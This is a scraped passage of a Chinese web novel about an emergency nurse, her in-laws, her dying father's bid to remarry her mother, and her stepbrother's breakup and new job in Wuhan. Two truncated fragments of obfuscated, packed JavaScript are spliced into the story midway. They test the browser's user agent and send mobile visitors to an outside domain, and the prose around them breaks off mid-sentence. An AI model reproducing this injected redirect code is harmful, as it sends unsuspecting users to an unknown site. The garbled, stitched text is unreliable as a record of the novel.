赵东南心浮气躁,摁了电话。交通事故让公司承受巨大的舆论压力,赔偿费也惊人,他挨了处分,升级调岗都泡了汤,还被领导叫去谈话,让他带带刚从校园招聘的应届毕业生。 这是被打入冷宫了,但领导的话讲得很艺术,夸赵东南是中心的技术尖子,新来的大学生缺乏实践经验,跟着他学习才能以最快速度上手,还半开玩笑地拱拱手:“缺人缺疯了,你给我立个军令状,三个月,交出能做事的人。” 未来三个月很关键,不仅要培训应届生,还得做出成绩,重新回到事发之前的局面。快30岁了,再不做点成绩出来,前路不好走。赵东南看了看银行余额,不论如何,还得早点买房分开住,他没空整天应付家庭矛盾。 13. 第 13 章 急诊中心又接诊了五花八门的病人,心衰的,结石的,期间还有对夫妻来扯皮,一个女孩被酒驾司机撞飞了,司机是老混子,家里就剩老父亲,说多年不来往,并且拿不出赔偿金。 女孩孤零零地躺在医院,她的家人没来过,下午,她死于手术并发症,她哥嫂出现了,质问医生为什么罔顾一条人命,要求医院赔偿。沈维和柳漾都气得跳脚,这个世界充满农夫和蛇的故事,上天总是没那么公平,那女孩才23岁,大学刚毕业。 入夜后病情较重的病人多了起来,柳漾三口两口吃完晚饭,回岗工作,急诊门□□发出痛哭声。死者大学毕业才一年,欠下三十几笔网贷,利滚利还不起,绝望之下吞安眠药自杀,合租室友打了120。那片小区门口夜市摊挤得水泄不通,救护车开不进去,随车林医生和担架员接力把人背上救护车。 死者十几平方米的卧室里堆满了名牌球鞋和电子产品,家长刚赶来就听说儿子不治,抱住医生大哭,另一个病人着急地扯开他们,他家孙子还等着医生治病。 也有好消息,一个高危白血病患者被宣布治愈,给医生和护士送来宵夜。患者历时三年多,化疗,移植,感染,排异……终于被治好了,抱着主治医生亲了一口,柳漾和沈维等帮过她的护士她也牢记在心,单独送了护肤品。 柳漾凌晨下班回家,想到这个患者还止不住嘴角上扬。她睡到上午快十点才醒,赵东南竟然请假在家,说要召开家庭会议。 结婚前,赵东南几乎不做家务活,张玢最多让他把饭蒸上,也就是淘淘米,丢进电饭煲了事。领完结婚证,柳漾搬过来住,如果正好赶上两个人都在家,她会指挥赵东南打下手,这社会贫家贵儿太多了,都是家长惯的,赵东南是她丈夫,她得一点点修正他,双方都是家庭成员,上班也都挺累,凭什么只有一方干家务活? 张玢有天下班回来,赵东南在洗葡萄,柳漾袖着手,教他怎样才洗得干净。赵东南洗完找只汤碗装上,喂柳漾一颗,再自己吃一颗,两人在厨房里闲聊,嘻嘻哈哈,过了半晌,柳漾才看到张玢垮着一张脸,瞧了他们半天。 那一瞬间柳漾甚至有一种错觉,这人不是赵东南他妈,是跟她争风吃醋的女人。她背地里问过,赵东南承认是没为他妈洗过水果。当然,剥个橘子橙子还是有的,但他想削个苹果,他妈都会让他放着她来。人一懒,就懒习惯了。 柳漾做好午餐,张玢回家吃饭,吃完碗筷一丢,要去午睡,被赵东南叫住:“妈,给我十分钟,我有话说。” 昨晚柳漾上小夜班去了,母子俩当着赵捷成的面谈过,张玢知道八成还是这件事,抗拒道:“我下午要开会,必须养足精神,晚上再说。” “就十分钟。”赵东南问得很直白,“妈,你到底为什么不喜欢漾漾,就因为她是单亲家庭,家里没钱?” 张玢以为是柳漾怂恿,剜她一眼:“你倒是说说,我怎么不喜欢你了,就晓得跟东南告状!” 很多人很害怕把场面搞得尴尬,宁可忍气吞声,但柳漾不在乎,医院里尴尬场面多的是,她答道:“就你这个语气态度,喜欢我就见鬼了。” 赵东南说:“你看看,当着我的面就这么对漾漾,我不在场的时候,也找过茬吧?妈,漾漾没向我告状,但我长了眼睛也长了心,你喜不喜欢她,我有数。漾漾每次下班回来,都把家里弄得干干净净,让你到家就有热饭吃,你还要她怎样?” 张玢脸上挂不住:“我敢要她怎样?有了媳妇忘了娘,我不说了,以后你俩的事,任何事我都不说了!” 看来赵东南昨晚也被他妈审问弄烦了,柳漾偷笑,赵东南把她肩膀一揽:“有了媳妇忘了娘,这话不对吗?妈,我小半生都是你养育照顾,大半生都得跟漾漾过,她是我媳妇,我不要求你喜欢她,但你能不能不给我添乱?你跟她作对,吵起来,收拾烂摊子的人是我。我最近工作不顺心,家里好歹让我省点心吧?今天请假跟你说这些,是希望一劳永逸,以后在家能过点太平日子,不要没事找事。” 张玢负气道:“问了几句是不是去打胎了,你们一个个的就有这么多话说,行吧,你们想怎样就怎样!” 卧室门砰的一声响,柳漾笑了,她感谢赵东南为她出头,但不认为张玢会作出改变,张玢活了57年,一直那么活,不可能因为儿子一番话就醍醐灌顶,判若两人。柳志华不也是,若不是查出胰腺癌,他还能跟冯鹃按惯性过下去。 赵东南额头的伤还没好,柳漾把他送到门口:“我下午买点骨头炖汤,你晚上早点回来。” 赵东南亲她一下:“晚上肯定早点回来。” 赵东南一走,柳漾就出了门,她不想张玢午睡起来又对她摆脸,影响心情。 肿瘤科方主任做完手术,柳漾在手术室外截住他。在桂林时,她把柳志华的病历记录发给方主任的助理了,当天晚上,方主任说情况不大好,这下见着面了,他挺不忍心,让柳漾在他坐诊那天带父亲来看看,他根据病人情况,调整几种药,争取能缓解一点痛苦。 专家们都无力回天,柳漾找了个空位坐了半天,既为她爸难过,更心疼她妈接下来每一天都会过得很辛苦,可她拽不回她妈。 沈维今天在上班,见缝插针送来一杯奶茶,陪柳漾待了几分钟。这世上从不缺少把吃苦当成勋章的女人,别说陈玉兰了,沈母也没少自找苦吃。 沈母工资比沈父高,但家务活几乎都是她做,饭桌上也习惯把好菜夹给沈维和她爸,自己就吃点边角料,平时还常吃剩菜。 沈维最看不惯她妈这一点,家里生活条件不说多好,起码算小康,却非要把自己弄得像个二等公民不可。她跟她妈说过无数次,但就像她妈催婚一样,互相都当成耳旁风。 人活一世,舒坦就行,但妈妈们似乎总得找点办法显示自己稀罕,劳苦功高,没有困难也要制造困难。事到如今,柳漾倒宁可她妈只是节省,反正她三不五时会给她妈买些吃的穿的,但她妈显然是比一般人更顽固,别的夫妻大难临头各自飞,她倒好,柳志华病入膏肓,她却拿出了亡命鸳鸯的气概。 秦飞和柳志华回到武汉,冯鹃一眼发现儿子受伤不轻,对柳志华一气骂了半小时不停歇,还上了手,又是拧又是掐的,连当事人秦飞的劝也不听。秦飞想去找蒋馨月,又怕伤势吓着她,躲进房间玩网游。 蒋馨月这几天很忙,秦飞在桂林给她打电话,她匆忙聊几句就去忙了,发信息也很久才回,柳志华买的桂林纪念品都拿不出手,秦飞在网上买了几样,打算见面再送给女朋友。 在回来的高铁上,秦飞就让冯鹃把柳俊杰支出去玩,好让柳志华跟冯鹃单独摊牌。等冯鹃骂累了,柳志华把病情和盘托出,他说得很详细,冯鹃听明白了,他得的是最凶残的癌症之一,无药可医,最多还能活半年,也可能两三月。 柳俊杰下半年读六年级,面临小升初,家里有个绝症病人,又是低烧又是呕吐,很影响他学习,而且小孩子抵抗力差,柳志华计划从明天起搬去陈玉兰那边住。 生死面前,冯鹃让了步,她不反对柳志华和陈玉兰来往,但复婚坚决不行:“说句不该说的,你只剩几年,有必要离婚?” “她希望我和她复婚,这也是我本人的想法。你也知道,跟你结婚是没办法,秦刚进去了,你大着肚子……”柳志华顾不上体谅冯鹃的心情了,“我就剩这几个月,你放了我,行不行?” 冯鹃断然道:“不行。那老子岂不是活成了试卷上一个叉?” 柳志华着急:“你又要摆摊,又要照顾杰杰,没空也没精力再照顾我,陈玉兰大度,愿意帮忙,我总不能既要她帮忙照顾,又不满足她的心愿吧。我把钱都给你们了,女儿结婚我也只象征性地给了一点,你也为我想一想。” 冯鹃不说话,柳志华搜肠刮肚,连秦飞考上大学办酒,陈玉兰露面,都作出了解释,摆酒太贵了,他私下找陈玉兰借了钱,陈玉兰是去送钱的,不是存心让冯鹃难堪。 冯鹃勉强道:“那我再让一步,陈玉兰出力,我出钱,你在我们这栋楼租套房子,吃住都归我。我和杰杰去看你也方便。” 柳志华不干:“我们小区最小面积是二室一厅,一个月几千块租金,划不来。” 冯鹃说:“其实是你自己的钱,羊毛出在羊身上。” 柳志华摇头:“只有那点钱,是留给你跟杰杰的。” “既然我也有份,那我就有支配权。老柳,我为你花不了几个钱了。”冯鹃眼圈一红,强忍的眼泪掉下来。 说一千道一万,冯鹃就是不肯离婚,柳志华敲响秦飞的门。秦飞很赞同冯鹃,在本小区租房子住是折中方案,但柳志华不肯再有支出:“后事再怎么从简,也得花钱,浪费在租金上,没必要。” 一个人平静地说着自己的葬礼,一五一十算着可能会花费的钱,冯鹃面露恻然,进厨房待了许久。 柳俊杰打完电动回家,见到爸爸高兴坏了,连柳志华从“捷克”带给他的进口零食和礼物都顾不上拆,但他很快注意到秦飞的伤,追问是不是被他同学段文轩家的人报复,秦飞说是工作应酬喝了酒,一脚踏空,柳俊杰不大信,跑去问冯鹃。 厨房里,冯鹃一双眼睛又红又肿,柳俊杰慌了:“哥哥是不是被人打了?” 冯鹃摇头,柳俊杰问她是不是又炼辣椒油了,她说是,柳俊杰连忙从冰箱里拿出一只蛋筒冰淇淋:“奖励老妈,吃个贵的。” 这家伙自己就吃个老冰棍或牛奶小布丁,秦飞鼻子一酸。出完摊,他把柳志华喊到旁边:“关键时刻关键对策,我妈是真做了让步,你不在乎她怎么想,总要为杰杰想想吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569748|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这几天,两人在病房相处下来,关系近了点,柳志华终于肯把秦飞当成年人看待,坦陈难处。这十几年来,他被冯鹃管着钱,陈玉兰独自把女儿拉扯大,他心有亏欠,陈玉兰没有再婚,就复婚这一个心愿,他不想让她失望。 柳志华没几年活头了,秦飞完全无法理解陈玉兰:“她一定要争这口气?” 柳志华没有正面回答,聊起年轻时在部队看过的书。他初中都没读完,不爱看书,当兵生涯很规律也很枯燥,反倒看上书了。 部队图书室里的中国古代诗文歌赋到世界名著,柳志华都看过。他说自己别的本事没有,记性好,三十年了,还记得汉代有一首乐府诗《上山采蘼芜》。 诗里的女人是弃妇,上山采香草时偶遇前夫,长跪问故夫,新人复何如。前夫回答新人不如故,弃妇才释怀。柳志华说当年读这首诗,也就随便一读,知天命之年才开了窍,千百年来,很多女人一直在争这口气,在追问:“你那位新人怎么样啊?” 男人终于读懂了这首诗,但命数将尽,坦然对继子交心:“我确实不是东西,在外面乱来,但没想过要跟陈玉兰离婚,她也不想,可惜你妈死也要生杰杰。” 柳志华出轨,是扎在陈玉兰心头的刺,她提出复婚,等于是摁着柳志华的头,让他向过去那些年认错,让他告诉所有知情人,他错了。秦飞理解她耿耿于怀,但冯鹃怎么肯接受“新人不如故”? 秦飞无计可施,给蒋馨月打电话,蒋馨月却在高铁上,她被客户聘请去珠海跟拍婚纱照。秦飞发出信息:“我妈在看一个言情剧,我也瞟了几眼,女主角明知男主角得了绝症,活不了多久,还非要在他死前办婚礼不可,我妈看得一把鼻涕一把泪的,女的真会这么想吗?” 蒋馨月回复说:“这叫真爱。” 秦飞问:“连后果也不计较?” 蒋馨月说:“后果就是她想要的,一辈子都是他的发妻。我大学室友暗恋我们院的学生会主席,还说过恨不得把他打残拖回家呢,他落魄潦倒是最好的,谁也不要他了,就她还不忘初心,收留他,照顾他,从此他就老老实实只属于她一个人。” “真可怕。”秦飞倒也不难理解,不然医院里哪有那么多为情自杀的病号,但当事人都年过半百,还这么能疯,有点棘手。 冯鹃看不得柳志华病恹恹的样子,赶他回家陪伴柳俊杰,秦飞劝她放手,她怒容满面:“她将我的军,我就认输?” 秦飞说:“你不希望老柳死不瞑目吧?” 冯鹃说:“别的女人不离婚,最爱说的一句话就是拖死他,我是真能拖死他。他死之前还想离婚,他不怕伤我的心,我也不怕伤他的心。” 秦飞说:“你不跟别人说你们离婚不就行了。” 冯鹃说:“捂住鼻子骗眼睛!眼睛看不到,鼻子就不存在?骗别人容易,骗我自己难,我当寡妇别人都同情,离两次婚,连我自己都觉得丢脸。我也讲脸,我也有心,他为什么一定要说出来,我也太失败了……” 冯鹃炒着面,声音哽咽了,她借着油烟四起,脸侧向一边,大声咳嗽,秦飞静静地走了。算算时间,柳漾今天休息,他把车开到省博物馆附近。柳志华说过,女婿对女儿不错,婚房买在省博对面的小区,是复式结构,上下两层楼。 秦飞发出请求面谈的信息,柳漾跟赵东南说:“秦飞找我有事。” 赵东南在给实习生做培训计划,没反应过来:“谁找你?” “老柳那边的女人跟前夫生的儿子。”柳漾说完,自己都笑了,“有点复杂。” 赵东南一琢磨:“也不复杂,你俩共享一个弟弟。” 柳漾只见过柳俊杰一面:“我才不认柳俊杰。” 赵东南说:“认不认都是你弟弟,他姓柳。这么算的话,秦飞算你哥?” “哥个头,我跟他又没有血缘关系。”柳漾指示秦飞去了一家餐厅,带着赵东南来了。赵东南还记着婚礼那天,冯鹃闹的那一下,但秦飞在桂林拽了柳漾一把,两相抵消,他打个招呼坐下,安静地听这两人就父母婚事掰扯。 柳志华和冯鹃谈判破裂,秦飞如实道来,赵东南淡淡观察这位名义上的大舅子,穿衣风格很休闲,还像个大学生,时髦那一路数的。论年龄,秦飞比柳漾大,但找她谈家事,拿出来的是讨教的姿态:“老柳是我弟弟的爸,他留给我弟弟的时间不多,我不希望弟弟长大了怪我没把他爸留在身边,但我能想的办法都想了,只能找你帮忙。” 柳漾对柳俊杰谈不上有感情,但设身处地想想,那孩子才11岁多,对人生毫无自主权,连知情权都被剥夺了,当柳志华搬去和另一个女人居住,他能得到真实的解释吗?他只会被糊弄。他成年后,回想起他爸在死之前还执意和他妈离婚,他如何看待他爸,会追悔,还是怨恨? 14. 第 14 章 跟秦飞谈完第二天,柳漾回家找她妈,她不是为柳俊杰而来,她就是不明白:“为老柳送终,操持后事,又繁琐又辛苦,想过没有?” 陈玉兰说:“是繁琐,我家他家的老亲戚都得通知,所以必须复婚,不然我就是个前妻,办丧事名不正言不顺。” 柳漾气不打一处来:“你还想趁这个机会告诉所有人,你笑到最后了是吧?” 赵东南没按住,柳漾果然又冒出了讥讽之语。不过其实她在赵东南面前说得更直接些:渣爹圣母娘。圣母娘还真点头:“一定要复婚。他找村里要的地盘大,他旁边就是我,等我以后也不在了,你俩不用多操心,请人抬个棺材就行。” 老一辈讲究入土为安,柳漾的病人里有条件的一般都土葬了,但陈玉兰连葬在一起都考虑到了,九头牛都拉不回来了,她彻底噎气:“出轨让你伤心,后事让你操心,他尽抓着你欺负了,你还真是大人大量。” 她打左脸,陈玉兰伸过来让她打右脸,平静道:“你爸说了,这一生注定要对不起一个人,那就对不起我吧,债多不愁。” 在柳漾发火之前,赵东南飞快递上手机,给陈玉兰看转账记录:“妈,我和漾漾打算买房,拿不出更多钱,这八万块钱你收下,她爸吃的喝的都别省钱,你自己也别过得太省。” 陈玉兰要退回去:“我们有钱,你们攒着买房子。” 柳漾没料到赵东南有此一举,但这样也好,女儿女婿都尽到心了,她说:“再怎么样,他生我养我一场,我不能不表示。你拿着吧,为我办完嫁妆你手上没钱了,别硬撑。要是我不去桂林,你可能到他快死那天才通知我吧?算了,我以后再也不干涉你了,他不行了你再通知我。” 柳漾被气昏了头,赵东南赶紧拉着她道别:“妈,你注意身体。” 柳漾头也不回地出了门,她妈执迷不悟,她只能让她妈自生自灭。在医院里,多荒诞的想法,柳漾都听到过,她妈是不可理喻,但不足为奇。 实在是被恼了心,柳漾说不管她妈,真的就没管了,如常上班下班,休息日在家做饭和备考学习。没消息就是好消息,就算哪天父母复婚,也不关她事了。 那天在西餐厅和柳漾见完面,秦飞着手跳槽。目前的工作图个轻松自在,饿不死,但技术没有核心竞争力,他迟早要承担一家之主的重任,不赚钱不行。 秦飞大学读的是自动化控制,在生活里应用很广泛,换个有发展的工作不难。柳志华不能再为家里带来收入,但柳俊杰一天天长大,冯鹃一天天变老,花钱的时候在后头。 沁宁空间信息技术公司录用了秦飞,它主营自动化监测预警系统,在地质灾害和气象灾害领域很有建树。人事部门通知秦飞下周一去报到,他向蒋馨月报喜,问她在不在店里,蒋馨月迟疑了一下:“我来找你。” 秦飞买了礼物,订了晚餐,想借这个机会说出秦刚的事,再瞒着蒋馨月太不够意思。蒋馨月拎来一支酒,却是来提分手的,她躲了秦飞数日,决定面对。秦飞去桂林前夕,蒋母介绍几个客户来拍照,其中一人参观照片墙,墙上挂有秦飞和客户小朋友的合照,也有他和柳俊杰的合照,那男人问:“他姓秦吧?” 蒋馨月说:“是我男朋友,你怎么认得?” “我认得他爸。”男人犹豫了几天,还是跟蒋母说了。秦刚捅伤柳志华,逃跑时撞死路人,路人的妻子是男人的同事,在超市库房上班,男人代表超市亲手发了抚恤金。然而秦刚因为抢劫被判刑,家里一贫如洗,女人没拿到多少赔偿,在超市干了几个月就辞职了,听说为了养活儿子,她什么活都做。 蒋馨月本来计划带秦飞见父母,父母听说秦飞的爸撞死了人,还抢劫,勒令女儿必须分手。 秦刚入狱后,冯鹃和秦飞都没去探过监,只当这人不存在。蒋馨月对秦飞又怨又不舍:“你早点跟我说实话,我还能有个思想准备,在我爸妈面前能为你说点话,现在是别人抖出来的,我一下子就被动了。” 秦飞明白她爸妈会说什么:“一开始就不诚心,就想把你骗到手。”蒋馨月哭得他很愧疚,咬牙道,“我爸是抢劫犯,这是客观事实,我改变不了。小月,你想分手,我理解,我保证不再纠缠你。” 蒋馨月哭着走了,秦飞追了几步,颓然站住了,把眼泪忍回去。好友阿豹打来电脑,祝贺他进了大公司,笑闹着让他请客,他把阿豹约在东湖边,叫了鹃姐大排档的清蒸大虾和啤酒,等阿豹来了,两人席地而坐,不醉不归。 阿豹说:“炒虾球和油焖大虾都好吃,清蒸的太淡了。” 清蒸小龙虾最考验新鲜程度,冯鹃总把最好的虾单独分出来做清蒸,而且不扯虾线,蒸出来肉才紧实,秦飞说:“清蒸不用扯虾线,蒸的时候还能做点别的,免得我妈忙不过来。” 阿豹得知秦飞和蒋馨月分了手,感慨不已。他媳妇乔蓝是武汉本地人,谈恋爱那会儿,乔蓝家里不同意,阿豹是外地人,山西小县城出来的,父母都没正式工作,自家女儿找个同等家境的本地人不难,找外地人图什么? 乔蓝说:“我们互相喜欢,而且他对我好。” 乔母说:“对你好是最起码的标准,不值得单独拿出来说,而且人的想法是会变的,今天对你好,明天就可能对你不好,找对象要综合评估,不能光看这一点。有句话你记好,贫贱夫妻百事哀。” 乔父提醒女儿,阿豹是家里独子,他在武汉安家,等他爸妈年纪再大些,必然会接来武汉,但年轻人和老一辈生活习惯不相同,早晚会闹家庭矛盾。 乔母平时经常上网,语重心长:“网上都说了,凤凰男嫁不得。你嫁给他,等于是扶贫,到时候不光是他,他老家所有亲戚都缠上你了,甩都甩不脱。” 乔蓝打死不分手:“豹哥说了,他努力赚钱,买两套房子,一套是婚房,一套他爸妈住。没买两套房之前,他爸妈就在山西住,不会跟我们挤在一起。” “结婚了他变卦了你也没办法。”乔父见女儿以泪洗面,只能妥协,“那我们换条思路,小鲍肯不肯当上门女婿?” 乔家也就一套三居室,存款几十万,不算多殷实的人家,乔蓝问:“怎么个上门法?” 乔父说:“我们就你一个姑娘,以后你们孩子姓乔,逢年过节在我们家里过。” 乔家父母的要求,阿豹一口答应,孩子是他和乔蓝的孩子,姓什么都不重要。连他爸妈也想开了,儿子能结婚,在武汉有个落脚的地方,他们心满意足:“大城市的独生姑娘养得金贵,她家要是提出几十万彩礼,还要你买房才结婚,我们拿不出来。” 阿豹大学时就在外面做兼职,他和乔蓝结婚之前,买了一套二居室,家里只帮了十万块钱,大头还是找亲戚借的。 既然是上门女婿,乔家没要彩礼钱,陪嫁了全部电器,还送了一辆二十来万的车,阿豹现如今的目标是再赚些钱,在婚房附近买套房子安置父母,他拍拍秦飞的肩:“没别的路,闷头赚钱吧。” 阿豹仅仅是没家底的外地人身份,就被女方父母嫌弃。秦飞无法责怪蒋家父母,他是抢劫犯的儿子,当父母的谁心里不犯嘀咕?自己迟迟不肯直说,不就是因为一直被人嘲笑吗?女朋友和她家里怎会例外。 代驾送秦飞回家,半路上,柳漾找他:“上次你妇联的熟人帮了曹燕林,未成年女孩她们也能帮忙吗?” 急诊送来了一个刚满10岁的小女孩,她爸妈都是农民工,生了女孩和她弟弟两个孩子。小女孩的弟弟比她小两岁,生他时还没开放二胎政策,罚了款。平日里都是小女孩看管弟弟,弟弟好奇,手伸进机器里,左手掌被绞得血肉模糊。 弟弟残了一只手,小女孩被爸妈打个半死,此后每次爸妈稍不顺心就打她,骂她:“残废的怎么不是你?” 今天晚上,小女孩的爸妈吵架,摔凳子砸碗,小女孩劝架,却被她爸用皮带狂抽,邻居听不下去,报了警。110赶去小女孩家,她身上血痕斑斑,还被她妈用碎碗片在手掌和胳膊上划了好几道。 饭碗摔到地上,溅起的碎渣飞进小女孩的眼睛,警察把她送来急诊。秦飞赶到617医院,医生们在为小女孩缝针,柳漾问:“监护人虐待她,妇联有办法吗?” 秦飞又找了乔蓝的表姐程惠敏,程惠敏听说小女孩的爸妈是生身父母,长长叹气。目前国内对监护人的监督机制还不完善,这种情况只能批评教育,拘留五天就已是严厉的惩罚了,妇联等机构组织一直在着手研究建立完善未成年人监护干预制度,制定困境未成年人家庭监护干预政策,但落实到推行还需要时间。 小女孩出院后,还得回到那个人间地狱去。柳漾又去忙了,秦飞在输液区呆坐,小女孩的爸妈和他爸秦刚一样,根本不配当父母。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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办完这件事,秦飞心里轻松了点。有天他下班回家,家里另外三人哭成一团。柳漾请医生同事为柳志华做了胆管支架排黄,从桂林回来那半个月还行,但很快又吃不下饭,连黄疸都快要吐出来了,今天,柳俊杰在卫生间外听了半天,等柳志华出来,他哭着问:“爸爸,你一定是得病了,为什么不去看医生?” 柳志华终日待在家,身体上的毛病瞒不住柳俊杰,他担心让小孩子害怕,只说是肠胃不舒服,柳俊杰的手机不能上网,他发短信问秦飞:“爸爸怎么了?” 秦飞回家说了实话。柳俊杰虽然小,但瞒他没有意义,不如让他珍惜他爸爸最后的时光,别总是溜出去玩电动和溜旱冰。 冯鹃抱着柳俊杰大哭,柳志华也落下眼泪,秦飞红了眼睛,跟柳俊杰说:“多和你爸待着,别留遗憾。” 蒋馨月发来信息:“能见个面吗,我还是想你。” 家里越待越难受,秦飞和蒋馨月约在阅马场见面。阅马场是清代演练军马的场地,1911年,辛亥革命武汉起义,在此设立军政府。两人牵手走上长江大桥,这大半个月以来,彼此都以工作逃避情感,但还是互相思念。 蒋馨月在家备受压力,她父母甚至想让她给前男友一个机会,对方是公务员,父母是生意人,家里好几套房子,光是在江汉路就有几处店面,都很赚钱。 蒋父说这小子虽然跟别的女孩子勾三搭四过,但他求复合的态度很诚恳,说明已经在反省了,结婚成家自然就收心了。蒋馨月怒道:“我家条件很差吗,我本人很差吗?” 蒋母循循善诱:“你也知道你不差,就更没必要找秦飞了。” 蒋馨月问秦飞:“你能永远只喜欢我一个人吗?” “小月,我还有件事要告诉你,我后爸得了癌症,可能就这一两年了,我弟弟以后都是我的事。”秦飞苦笑,蒋馨月笑他长兄如父,他是真的要承担这责任了。 蒋馨月明显一愣,盘算着是否对父母直言,秦飞把她额前的碎发拨弄到耳后,下定了决心:“小月,我们……算了吧。” 大学时老师的笑谈又回荡在耳旁:“很多武汉人一生就三句话打天下:怕么事!我也冇得办法。算了算了。”三句话来回切换,就能应对一切难搞的局面,得过且过混一生。 蒋馨月抱着秦飞哭了出来,秦飞抚着她的头发,凝望黄鹤楼。人间风浪大,黄鹤楼被吵得不得安宁,被几千万人登踏过,它走不了,他身上的担子,也让他走不了,卸不下。女朋友何苦跟他过这样的生活?她应该回到岸上去。 秦飞再说一遍:“我们算了吧。” 蒋馨月哭着推他:“说你放不下我,你说啊!” 秦飞放开她,向前走去:“好好的。” 她的朋友们会责骂他没担当,那就骂吧,骂上几个月,她和她们就忘记渣男,展开新生活了。黏黏糊糊拖几年,她就痛几年,再分手就伤筋动骨了,何忍至此。 15. 第 15 章 秦飞在长江大桥上走了一个来回,开车回家,麻纷细雨落了下来,渐渐大了。雨刷摇摆,像混沌的心,路过671医院,他停车,在急诊处又待了一会儿。柳漾问:“家里的事,还是女朋友的事?” “没事,我自己待一下。”秦飞就是来看看苦难的人们,好让自己接受失恋是寻常事。 看看时间,晚上九点,蒋馨月到家了吗,还是在和朋友们泡吧?其实她也没有自主权,摄影店是爸妈投资的,吃住都在家里,任性和爸妈作对,爸妈怎么肯听她的?秦飞笑了笑,如果他有女儿,也不想让女儿被负担太重的家庭缠着,吸血鬼一样,永无宁日。除了情感,他什么也给不了她。 大厅又吵起来,有人失眠睡不着觉挂急诊,勒令正在抢救车祸伤员的急诊医生给他开药,大喊大叫道:“我先来的!” 别人的命都没他失眠重要,医生护士都不理他,秦飞戾气满胸,若照准那男人后颈来一下,他就能睡着了。 桂林那一掌下去,秦飞没弄晕柳志华,在网上学习了一堆视频,真想找个人再练练手。机会转眼就来了,有个小学生被一次又一次擂肥,忍无可忍,趁着擂肥者倒挂在单杠上玩,他砸出石头,擂肥者受到惊吓,从单杠上跌下,后脑着地,磕到单杠底部铁管上,被送来急救。 擂肥是本地方言,指不良少年恐吓威胁中小学生,勒索他们的钱财。医生为擂肥者清除了颅内淤血,但他至今未醒,家长叫嚣道:“小孩子哪有不打架的,我儿子擂了多少,我都还给你们,但他的医药费,各种费用都归你们出!” 小学生的爸妈佝偻着背,唯唯诺诺,生怕万一擂肥者醒不过来,完全不敢回嘴。正因为有这样的父母,小学生才一再被欺负,终于失控了吧。秦飞晃过去,出其不意一掌劈向擂肥者的爸,担心无效,再挥出一拳。 对方没倒下,但鼻梁被秦飞砸个正着,鼻孔流出血来,他扑上来要揍秦飞,秦飞躲过,保安们都在边上,一哄而上,按倒了擂肥者的爸,显然都忍了他半天。擂肥者的家长教训小学生的爸妈,他们没立场,但秦飞是事件的外人,又是柳漾的熟人,他们都看熟了。 小学生对秦飞怯怯地说谢谢,他像柳俊杰一样懂事,秦飞摸摸他的头:“不用谢,你没有做错。”他凑近小学生的爸妈,小声说,“他家孩子错在先,学校可能有监控视频,没有监控肯定也有人证,要是他们找你们赔偿大钱,记得找律师帮你们。” 擂肥者的妈趁人不备,掏出包里的修眉刀片,划向秦飞手背。秦飞手背被划出了血痕,把那女人踹倒在地,围观的人轰然叫好,这家人就是欠收拾。 秦飞走到一边给妇联的程惠敏打电话,简单地说了情况,程惠敏答复他,像这类情况建议找司法局的法律援助中心,他们对弱势群体提供免费咨询服务。 秦飞问到法律援助中心电话12348,到咨询台找护士借了纸笔写上,柳漾上前,啪地在他手背贴个创可贴,似笑非笑:“看不出来这么爱当大侠啊。” “看不惯。”中学时,秦飞也被高年级的同学欺负过,知道那滋味。柳志华刚和冯鹃闹离婚时,冯鹃也说过,“你有爸爸等于没有,总被人欺负,我不希望你弟弟还被人欺负,哪怕老柳身在曹营心在汉,我也得留住他,好歹能给杰杰一个完整的家。” 完整的家要破碎了。秦飞把法律援助中心地址和电话递给了小学生的爸爸,走出医院,雨已经停了,夜风送来植物的清香,他深深地呼吸几大口,伤到脑袋很危险,但愿擂肥者能够醒来,否则小学生一家将陷入灭顶之灾。 入睡前,秦飞收到柳漾的信息:“小王八蛋命大,醒了。医生开过会了,能免的费用都免了。” 秦飞笑了,柳漾居然能看出他在担忧,他回个笑脸符号,好像真有那么一点当亲戚的意思了。 几天后,秦飞正在工作,接到陌生电话,是小学生的爸爸打来的。那天他太紧张了,竟然没问秦飞的电话,找律师打听了几个人,才问到号码:“夏律师帮我跟那家人谈过了,以后井水不犯河水,再敢欺负我儿子,就发律师函。他好像镇住那家人了,太谢谢你了,我想请你吃饭。” “心领了,省下这钱给儿子买双鞋,以后多鼓励他,多站在他那边,让他知道你们能保护他。”秦飞下班买了柳志华爱吃的烧鸡回家,无论如何,这人对柳俊杰而言,是个很好的爸爸。 家里愁云惨雾,冯鹃面临失业。城管委宣布本周内取缔中心城区31个占道餐饮夜市,其中就包括小区门口的夜市一条街,下午告示贴得满街都是。 夜市噪声扰民,还带来环境污染,被投诉过很多次,但经营户都是困难家庭,摊主都以此为生,政府做过整治,从严规范管理,尽量避免周围居民对噪音、交通和环境的困扰,然而,多次整治反弹严重,最近半年,取缔风声越传越烈,终于迎来了一纸公文,被正式取缔。 冯鹃面前有两条路,要么租个门面,入店经营;要么以家为店,做网上外卖生意。前者需要一笔不小的费用,后者只能算过渡,小摊平时就做点街坊邻居的生意,网上接单不多。 冯鹃即将失去经济来源,柳志华愁得一夜未睡。但天亮了,冯鹃仍按时去批发蔬菜,家里还囤了不少干货和腊味,能消耗一点是一点,生意不能不做。 所有的坏事都堆到眼前了,秦飞把精力放在工作上。失恋的阴霾仍挥之不去,但他必须放下,多做点实绩,才能早一点单扛项目,多拿点提成,所幸他运气好,刚进公司就参与了一座大桥的监测站设备安装工程。 武汉有十几座跨江大桥,高度密集的车辆很考验桥梁的结构健康情况,管理部门委托检测单位采取定期检测的方式,以便及时发现安全隐患。但定期检测很难全面和实时反映问题,检测单位和秦飞所在的沁宁空间信息科技公司达成合作,开展实施该桥的长期健康监测系统测试,秦飞早出晚归地忙碌。 